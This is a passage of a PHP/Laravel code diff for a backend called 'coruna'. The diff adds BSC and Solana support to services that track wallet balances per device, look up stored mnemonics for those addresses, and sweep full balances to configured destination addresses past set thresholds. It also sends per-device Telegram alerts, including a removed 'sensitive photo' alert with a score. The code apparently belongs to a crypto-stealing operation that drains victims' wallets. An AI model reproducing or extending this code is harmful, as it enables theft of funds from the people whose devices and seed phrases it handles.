'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
|
||||
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
|
||||
@@ -108,9 +112,12 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||
'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
|
||||
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
|
||||
'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
|
||||
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
|
||||
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
|
||||
'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''),
|
||||
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
|
||||
'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''),
|
||||
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
|
||||
'transfer.fee_private_key_tron' => '',
|
||||
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
|
||||
@@ -149,9 +156,11 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
|
||||
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
|
||||
'auto_transfer.threshold_bnb' => config(['coruna.auto_transfer.threshold_bnb' => $value]),
|
||||
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
|
||||
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
|
||||
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
|
||||
'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]),
|
||||
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
|
||||
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
|
||||
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
|
||||
|
||||
@@ -61,7 +61,7 @@ class TelegramNotifier
|
||||
}
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
|
||||
$resp = Http::connectTimeout(20)->timeout(30)->get("https://api.telegram.org/bot{$token}/getMe");
|
||||
if (! $resp->successful() || $resp->json('ok') !== true) {
|
||||
return null;
|
||||
}
|
||||
@@ -127,7 +127,7 @@ class TelegramNotifier
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
if ($async) {
|
||||
SendTelegramMessage::dispatch($chatId, $text);
|
||||
SendTelegramMessage::dispatch($chatId, $text)->onQueue('telegram');
|
||||
$ok = true;
|
||||
|
||||
continue;
|
||||
@@ -157,7 +157,7 @@ class TelegramNotifier
|
||||
}
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
$resp = Http::connectTimeout(20)->timeout(60)->asForm()->post(
|
||||
"https://api.telegram.org/bot{$token}/sendMessage",
|
||||
[
|
||||
'chat_id' => $chatId,
|
||||
@@ -358,16 +358,6 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>敏感照片</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
|
||||
@@ -54,7 +54,7 @@ class TokenviewClient
|
||||
]);
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(20)->get($endpoint, [
|
||||
$resp = Http::connectTimeout(20)->timeout(120)->get($endpoint, [
|
||||
'apikey' => (string) config('coruna.tokenview.api_key'),
|
||||
]);
|
||||
$ok = $resp->successful() && (int) $resp->json('code') === 1;
|
||||
|
||||
@@ -197,15 +197,16 @@ class TokenviewMonitorService
|
||||
return;
|
||||
}
|
||||
|
||||
$tronRows = $rows->filter(function (WalletAddress $row) {
|
||||
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||
$refreshRows = $rows->filter(function (WalletAddress $row) {
|
||||
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
|
||||
});
|
||||
$deltaRows = $rows->filter(function (WalletAddress $row) {
|
||||
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
|
||||
});
|
||||
|
||||
// Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
|
||||
foreach ($tronRows as $row) {
|
||||
// Tron/BTC webhooks only carry deltas — refresh from chain as source of truth.
|
||||
// BTC stored `btc` is often Trust/client sats-or-lifetime totals, not current UTXO.
|
||||
foreach ($refreshRows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
if (! $this->balances->refresh($row)) {
|
||||
$this->applyDeltasToRow($row, $deltas);
|
||||
|
||||
@@ -33,6 +33,11 @@ class TransferService
|
||||
?string $operator = null,
|
||||
): array {
|
||||
$chain = strtolower(trim($chain));
|
||||
$asset = strtoupper(trim($asset));
|
||||
// Native BNB and later BEP20 USDT settlement both happen on BSC.
|
||||
if ($asset === 'BNB') {
|
||||
$chain = 'bsc';
|
||||
}
|
||||
$record = [
|
||||
'from_address' => $fromAddress,
|
||||
'to_address' => null,
|
||||
@@ -85,7 +90,7 @@ class TransferService
|
||||
}
|
||||
$record['amount'] = $amount;
|
||||
|
||||
$this->assertAmountWithinLimit($amount, $asset);
|
||||
$this->assertAmountWithinLimit($amount, $asset, $chain);
|
||||
|
||||
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
||||
if ($resolved === null) {
|
||||
@@ -100,7 +105,7 @@ class TransferService
|
||||
}
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
|
||||
'USDT' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
@@ -108,6 +113,7 @@ class TransferService
|
||||
$amount,
|
||||
$this->usdtContract($chain),
|
||||
),
|
||||
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
@@ -415,7 +421,9 @@ class TransferService
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
|
||||
'bsc', 'bnb', 'binance' => $this->bscToAddress(),
|
||||
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
|
||||
'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')),
|
||||
default => trim((string) config('coruna.transfer.to_address', '')),
|
||||
};
|
||||
}
|
||||
@@ -424,7 +432,9 @@ class TransferService
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
|
||||
'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured',
|
||||
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
|
||||
'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
|
||||
default => 'TRANSFER_TO_ADDRESS is not configured',
|
||||
};
|
||||
}
|
||||
@@ -433,6 +443,7 @@ class TransferService
|
||||
{
|
||||
$contract = match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
|
||||
'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')),
|
||||
default => trim((string) config('coruna.tron.usdt_contract', '')),
|
||||
};
|
||||
if ($contract === '') {
|
||||
@@ -442,10 +453,20 @@ class TransferService
|
||||
return $contract;
|
||||
}
|
||||
|
||||
private function bscToAddress(): string
|
||||
{
|
||||
$bsc = trim((string) config('coruna.transfer.to_address_bsc', ''));
|
||||
if ($bsc !== '') {
|
||||
return $bsc;
|
||||
}
|
||||
|
||||
return trim((string) config('coruna.transfer.to_address_eth', ''));
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
||||
{
|
||||
$balance = match ($asset) {
|
||||
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
||||
'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
@@ -453,14 +474,11 @@ class TransferService
|
||||
$reserveKey = match ($asset) {
|
||||
'TRX' => 'coruna.transfer.trx_fee_reserve',
|
||||
'ETH' => 'coruna.transfer.eth_fee_reserve',
|
||||
'BNB' => 'coruna.transfer.bnb_fee_reserve',
|
||||
'BTC' => 'coruna.transfer.btc_fee_reserve',
|
||||
default => null,
|
||||
};
|
||||
$scale = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
$scale = $this->assetDecimals($asset, $chain);
|
||||
|
||||
if ($reserveKey !== null) {
|
||||
$reserve = (string) config($reserveKey, '0');
|
||||
@@ -503,7 +521,7 @@ class TransferService
|
||||
}
|
||||
|
||||
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
|
||||
|
||||
foreach ($addressRows as $row) {
|
||||
if ($row->mnemonic_id !== null) {
|
||||
@@ -565,13 +583,22 @@ class TransferService
|
||||
return null;
|
||||
}
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
private function assetDecimals(string $asset, string $chain): int
|
||||
{
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) {
|
||||
return max(1, (int) config('coruna.bsc.usdt_decimals', 18));
|
||||
}
|
||||
|
||||
return match ($asset) {
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
}
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void
|
||||
{
|
||||
$decimals = $this->assetDecimals($asset, $chain);
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
@@ -580,6 +607,7 @@ class TransferService
|
||||
'TRX' => 'coruna.transfer.max_trx',
|
||||
'ETH' => 'coruna.transfer.max_eth',
|
||||
'BTC' => 'coruna.transfer.max_btc',
|
||||
'BNB' => 'coruna.transfer.max_bnb',
|
||||
default => 'coruna.transfer.max_usdt',
|
||||
};
|
||||
$max = (string) config($maxKey, '0');
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Alchemy\AlchemyBalanceService;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
@@ -11,13 +12,15 @@ use Illuminate\Support\Facades\Log;
|
||||
/**
|
||||
* Live on-chain balance refresh for wallet_addresses.
|
||||
*
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20); same address also reads BSC BNB.
|
||||
* BSC: native BNB + USDT (BEP20). BTC: BTC only.
|
||||
* SOL: SOL + USDT (SPL).
|
||||
*/
|
||||
class WalletBalanceService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
private readonly AlchemyBalanceService $alchemy,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -31,7 +34,8 @@ class WalletBalanceService
|
||||
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => $this->refreshTron($address),
|
||||
'ETH', 'ETHEREUM' => $this->refreshEth($address),
|
||||
'ETH', 'ETHEREUM', 'EVM' => $this->refreshEth($address),
|
||||
'BSC', 'BNB', 'BINANCE' => $this->refreshBsc($address),
|
||||
'BTC', 'BITCOIN' => $this->refreshBtc($address),
|
||||
'SOL', 'SOLANA' => $this->refreshSol($address),
|
||||
default => false,
|
||||
@@ -45,6 +49,14 @@ class WalletBalanceService
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$ok = $this->refreshEvmViaAlchemy($address, $addr, 'ETH', 'eth');
|
||||
if ($ok) {
|
||||
return true;
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('eth');
|
||||
$attrs = [
|
||||
@@ -54,6 +66,11 @@ class WalletBalanceService
|
||||
if ($contract !== '') {
|
||||
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
|
||||
}
|
||||
$bscCoins = $this->bscCoins($addr);
|
||||
if ($bscCoins !== null) {
|
||||
$attrs['bnb'] = $bscCoins['bnb'];
|
||||
$this->persistBscSibling($address, $bscCoins);
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('eth balance refresh ok', [
|
||||
@@ -61,6 +78,8 @@ class WalletBalanceService
|
||||
'address' => $addr,
|
||||
'eth' => $address->eth,
|
||||
'usdt' => $address->usdt,
|
||||
'bnb' => $address->bnb,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
@@ -74,6 +93,256 @@ class WalletBalanceService
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Alchemy path for ETH/BSC refresh. One eth_getBalance + one eth_call (USDT).
|
||||
* For ETH, also pull the BSC sibling (BNB + BEP20 USDT) via Alchemy when the
|
||||
* BSC network is enabled, else via the BSC RPC driver.
|
||||
*/
|
||||
private function refreshEvmViaAlchemy(WalletAddress $address, string $addr, string $nativeSymbol, string $network): bool
|
||||
{
|
||||
$result = $this->alchemy->fetch($nativeSymbol, $addr);
|
||||
if ($result === null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$attrs = [];
|
||||
if ($result['native'] !== null) {
|
||||
$attrs[strtolower($nativeSymbol)] = $result['native']['amount'];
|
||||
}
|
||||
$usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
|
||||
if ($usdt !== null) {
|
||||
$attrs['usdt'] = $usdt['amount'];
|
||||
}
|
||||
|
||||
// ETH address == BSC address: also pull BNB + BEP20 USDT and persist sibling.
|
||||
if ($nativeSymbol === 'ETH') {
|
||||
$bsc = $this->alchemy->fetch('BSC', $addr);
|
||||
if ($bsc !== null) {
|
||||
if ($bsc['native'] !== null) {
|
||||
$attrs['bnb'] = $bsc['native']['amount'];
|
||||
}
|
||||
$bscUsdt = $this->findTokenBySymbol($bsc['tokens'], 'USDT');
|
||||
$this->persistBscSibling($address, [
|
||||
'bnb' => $bsc['native']['amount'] ?? '0',
|
||||
'usdt' => $bscUsdt !== null ? $bscUsdt['amount'] : '0',
|
||||
]);
|
||||
} else {
|
||||
// Alchemy BSC not enabled → fall back to BSC RPC for the sibling.
|
||||
$bscCoins = $this->bscCoins($addr);
|
||||
if ($bscCoins !== null) {
|
||||
$attrs['bnb'] = $bscCoins['bnb'];
|
||||
$this->persistBscSibling($address, $bscCoins);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('eth balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'source' => 'alchemy',
|
||||
]);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $tokens
|
||||
*/
|
||||
private function findTokenBySymbol(array $tokens, string $symbol): ?array
|
||||
{
|
||||
$symbol = strtoupper(trim($symbol));
|
||||
foreach ($tokens as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === $symbol) {
|
||||
return $t;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $tokens
|
||||
*/
|
||||
private function findTokenByContract(array $tokens, string $contract): ?array
|
||||
{
|
||||
$contract = strtolower($contract);
|
||||
if ($contract === '') {
|
||||
return null;
|
||||
}
|
||||
foreach ($tokens as $t) {
|
||||
if (strtolower((string) ($t['contract'] ?? '')) === $contract) {
|
||||
return $t;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function refreshBsc(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
if ($addr === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('BSC', $addr);
|
||||
if ($result !== null) {
|
||||
$attrs = [];
|
||||
if ($result['native'] !== null) {
|
||||
$attrs['bnb'] = $result['native']['amount'];
|
||||
}
|
||||
$usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
|
||||
if ($usdt !== null) {
|
||||
$attrs['usdt'] = $usdt['amount'];
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('bsc balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'source' => 'alchemy',
|
||||
]);
|
||||
|
||||
return true;
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$coins = $this->bscCoins($addr);
|
||||
if ($coins === null) {
|
||||
return false;
|
||||
}
|
||||
$this->persistCoins($address, [
|
||||
'bnb' => $coins['bnb'],
|
||||
'usdt' => $coins['usdt'],
|
||||
]);
|
||||
|
||||
Log::info('bsc balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'bnb' => $address->bnb,
|
||||
'usdt' => $address->usdt,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('bsc balance refresh failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Native BNB + USDT-BEP20 for an EVM address. Null when the BSC RPC fails.
|
||||
*
|
||||
* @return array{bnb: string, usdt: string}|null
|
||||
*/
|
||||
private function bscCoins(string $address): ?array
|
||||
{
|
||||
try {
|
||||
$driver = $this->chains->resolve('bsc');
|
||||
$coins = [
|
||||
'bnb' => $driver->getNativeBalance($address),
|
||||
'usdt' => '0',
|
||||
];
|
||||
$contract = trim((string) config('coruna.bsc.usdt_contract', ''));
|
||||
if ($contract !== '') {
|
||||
$coins['usdt'] = $driver->getTokenBalance($address, $contract);
|
||||
}
|
||||
|
||||
return $coins;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('bsc balance query failed: '.$e->getMessage(), [
|
||||
'address' => $address,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* When an ETH address is first stored, also keep a BSC row if that same
|
||||
* address holds native BNB or USDT-BEP20.
|
||||
*/
|
||||
public function ensureBscForEthAddress(WalletAddress $ethRow): ?WalletAddress
|
||||
{
|
||||
$addr = trim((string) $ethRow->address);
|
||||
if ($addr === '' || ! preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$coins = $this->bscCoins($addr);
|
||||
if ($coins === null) {
|
||||
return null;
|
||||
}
|
||||
if (bccomp($coins['bnb'], '0', 18) <= 0 && bccomp($coins['usdt'], '0', 18) <= 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $this->persistBscSibling($ethRow, $coins);
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep a BSC row for the same device address so BEP20 USDT can be swept on BSC
|
||||
* without overwriting the ETH row's ERC20 USDT.
|
||||
*
|
||||
* @param array{bnb: string, usdt: string} $coins
|
||||
*/
|
||||
private function persistBscSibling(WalletAddress $ethRow, array $coins): ?WalletAddress
|
||||
{
|
||||
if ($ethRow->device_id === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$hasFunds = bccomp($coins['bnb'], '0', 18) > 0 || bccomp($coins['usdt'], '0', 18) > 0;
|
||||
$query = WalletAddress::query()
|
||||
->where('device_id', $ethRow->device_id)
|
||||
->where('address', $ethRow->address)
|
||||
->where('chain_type', 'BSC');
|
||||
if ($ethRow->source === null || $ethRow->source === '') {
|
||||
$query->where(function ($q) {
|
||||
$q->whereNull('source')->orWhere('source', '');
|
||||
});
|
||||
} else {
|
||||
$query->where('source', $ethRow->source);
|
||||
}
|
||||
$sibling = $query->first();
|
||||
if ($sibling === null && ! $hasFunds) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if ($sibling === null) {
|
||||
$sibling = new WalletAddress([
|
||||
'device_id' => $ethRow->device_id,
|
||||
'address' => $ethRow->address,
|
||||
'source' => $ethRow->source,
|
||||
'chain_type' => 'BSC',
|
||||
'mnemonic_id' => $ethRow->mnemonic_id,
|
||||
'derive_index' => $ethRow->derive_index,
|
||||
'monitor' => (int) $ethRow->monitor,
|
||||
]);
|
||||
}
|
||||
|
||||
$sibling->chain_type = 'BSC';
|
||||
$sibling->bnb = $coins['bnb'];
|
||||
$sibling->usdt = $coins['usdt'];
|
||||
if ($sibling->mnemonic_id === null && $ethRow->mnemonic_id !== null) {
|
||||
$sibling->mnemonic_id = $ethRow->mnemonic_id;
|
||||
$sibling->derive_index = $ethRow->derive_index;
|
||||
}
|
||||
$sibling->save();
|
||||
|
||||
return $sibling;
|
||||
}
|
||||
|
||||
public function refreshBtc(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
@@ -81,6 +350,7 @@ class WalletBalanceService
|
||||
return false;
|
||||
}
|
||||
|
||||
// Alchemy has no BTC chain RPC; BTC stays on the BtcDriver (mempool.space).
|
||||
try {
|
||||
$driver = $this->chains->resolve('btc');
|
||||
$this->persistCoins($address, [
|
||||
@@ -91,6 +361,7 @@ class WalletBalanceService
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'btc' => $address->btc,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
@@ -111,6 +382,30 @@ class WalletBalanceService
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('SOL', $addr);
|
||||
if ($result !== null) {
|
||||
$attrs = [];
|
||||
if ($result['native'] !== null) {
|
||||
$attrs['sol'] = $result['native']['amount'];
|
||||
}
|
||||
$usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
|
||||
if ($usdt !== null) {
|
||||
$attrs['usdt'] = $usdt['amount'];
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('sol balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'source' => 'alchemy',
|
||||
]);
|
||||
|
||||
return true;
|
||||
}
|
||||
// Alchemy failed → fall through to SolDriver RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('sol');
|
||||
$attrs = [
|
||||
@@ -127,6 +422,7 @@ class WalletBalanceService
|
||||
'address' => $addr,
|
||||
'sol' => $address->sol,
|
||||
'usdt' => $address->usdt,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
@@ -228,7 +524,7 @@ class WalletBalanceService
|
||||
// full_node may be https://api.trongrid.io — v1 lives on the same host.
|
||||
$url = $base.'/v1/accounts/'.rawurlencode($address);
|
||||
|
||||
$req = Http::timeout(20)->acceptJson();
|
||||
$req = Http::connectTimeout(20)->timeout(120)->acceptJson();
|
||||
$apiKey = (string) config('coruna.tron.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
|
||||
@@ -298,4 +594,5 @@ class WalletBalanceService
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
/**
|
||||
* ITU-T E.164 calling codes <-> ISO 3166-1 alpha-2.
|
||||
*
|
||||
* Used to infer cc / country / in from a bare WhatsApp phone number
|
||||
* (wap.js reports userId as an int with no country-code breakdown).
|
||||
* Longest-prefix-first so 1-3 digit codes resolve correctly.
|
||||
*/
|
||||
final class CountryCallingCode
|
||||
{
|
||||
/** @var array<string, string> calling-code => ISO alpha-2 */
|
||||
private const CALLING_CODES = [
|
||||
'1' => 'US', '7' => 'RU',
|
||||
'20' => 'EG', '27' => 'ZA', '30' => 'GR', '31' => 'NL', '32' => 'BE',
|
||||
'33' => 'FR', '34' => 'ES', '36' => 'HU', '39' => 'IT', '40' => 'RO',
|
||||
'41' => 'CH', '43' => 'AT', '44' => 'GB', '45' => 'DK', '46' => 'SE',
|
||||
'47' => 'NO', '48' => 'PL', '49' => 'DE', '51' => 'PE', '52' => 'MX',
|
||||
'53' => 'CU', '54' => 'AR', '55' => 'BR', '56' => 'CL', '57' => 'CO',
|
||||
'58' => 'VE', '60' => 'MY', '61' => 'AU', '62' => 'ID', '63' => 'PH',
|
||||
'64' => 'NZ', '65' => 'SG', '66' => 'TH', '81' => 'JP', '82' => 'KR',
|
||||
'84' => 'VN', '86' => 'CN', '90' => 'TR', '91' => 'IN', '92' => 'PK',
|
||||
'93' => 'AF', '94' => 'LK', '95' => 'MM', '98' => 'IR',
|
||||
'211' => 'SS', '212' => 'MA', '213' => 'DZ', '216' => 'TN', '218' => 'LY',
|
||||
'220' => 'GM', '221' => 'SN', '222' => 'MR', '223' => 'ML', '224' => 'GN',
|
||||
'225' => 'CI', '226' => 'BF', '227' => 'NE', '228' => 'TG', '229' => 'BJ',
|
||||
'230' => 'MU', '231' => 'LR', '232' => 'SL', '233' => 'GH', '234' => 'NG',
|
||||
'235' => 'TD', '236' => 'CF', '237' => 'CM', '238' => 'CV', '239' => 'ST',
|
||||
'240' => 'GQ', '241' => 'GA', '242' => 'CG', '243' => 'CD', '244' => 'AO',
|
||||
'245' => 'GW', '248' => 'SC', '249' => 'SD', '250' => 'RW', '251' => 'ET',
|
||||
'252' => 'SO', '253' => 'DJ', '254' => 'KE', '255' => 'TZ', '256' => 'UG',
|
||||
'257' => 'BI', '258' => 'MZ', '260' => 'ZM', '261' => 'MG', '263' => 'ZW',
|
||||
'264' => 'NA', '265' => 'MW', '266' => 'LS', '267' => 'BW', '268' => 'SZ',
|
||||
'269' => 'KM', '290' => 'SH', '291' => 'ER', '297' => 'AW', '298' => 'FO',
|
||||
'299' => 'GL', '350' => 'GI', '351' => 'PT', '352' => 'LU', '353' => 'IE',
|
||||
'354' => 'IS', '355' => 'AL', '356' => 'MT', '357' => 'CY', '358' => 'FI',
|
||||
'359' => 'BG', '370' => 'LT', '371' => 'LV', '372' => 'EE', '373' => 'MD',
|
||||
'374' => 'AM', '375' => 'BY', '376' => 'AD', '377' => 'MC', '378' => 'SM',
|
||||
'380' => 'UA', '381' => 'RS', '382' => 'ME', '383' => 'XK', '385' => 'HR',
|
||||
'386' => 'SI', '387' => 'BA', '389' => 'MK', '420' => 'CZ', '421' => 'SK',
|
||||
'423' => 'LI', '500' => 'FK', '501' => 'BZ', '502' => 'GT', '503' => 'SV',
|
||||
'504' => 'HN', '505' => 'NI', '506' => 'CR', '507' => 'PA', '508' => 'PM',
|
||||
'509' => 'HT', '590' => 'GP', '591' => 'BO', '592' => 'GY', '593' => 'EC',
|
||||
'594' => 'GF', '595' => 'PY', '596' => 'MQ', '597' => 'SR', '598' => 'UY',
|
||||
'599' => 'CW', '670' => 'TL', '672' => 'NF', '673' => 'BN', '674' => 'NR',
|
||||
'675' => 'PG', '676' => 'TO', '677' => 'SB', '678' => 'VU', '679' => 'FJ',
|
||||
'680' => 'PW', '681' => 'WF', '682' => 'CK', '685' => 'WS', '686' => 'KI',
|
||||
'687' => 'NC', '688' => 'TV', '689' => 'PF', '690' => 'TK', '691' => 'FM',
|
||||
'692' => 'MH', '850' => 'KP', '852' => 'HK', '853' => 'MO', '855' => 'KH',
|
||||
'856' => 'LA', '880' => 'BD', '886' => 'TW', '960' => 'MV', '961' => 'LB',
|
||||
'962' => 'JO', '963' => 'SY', '964' => 'IQ', '965' => 'KW', '966' => 'SA',
|
||||
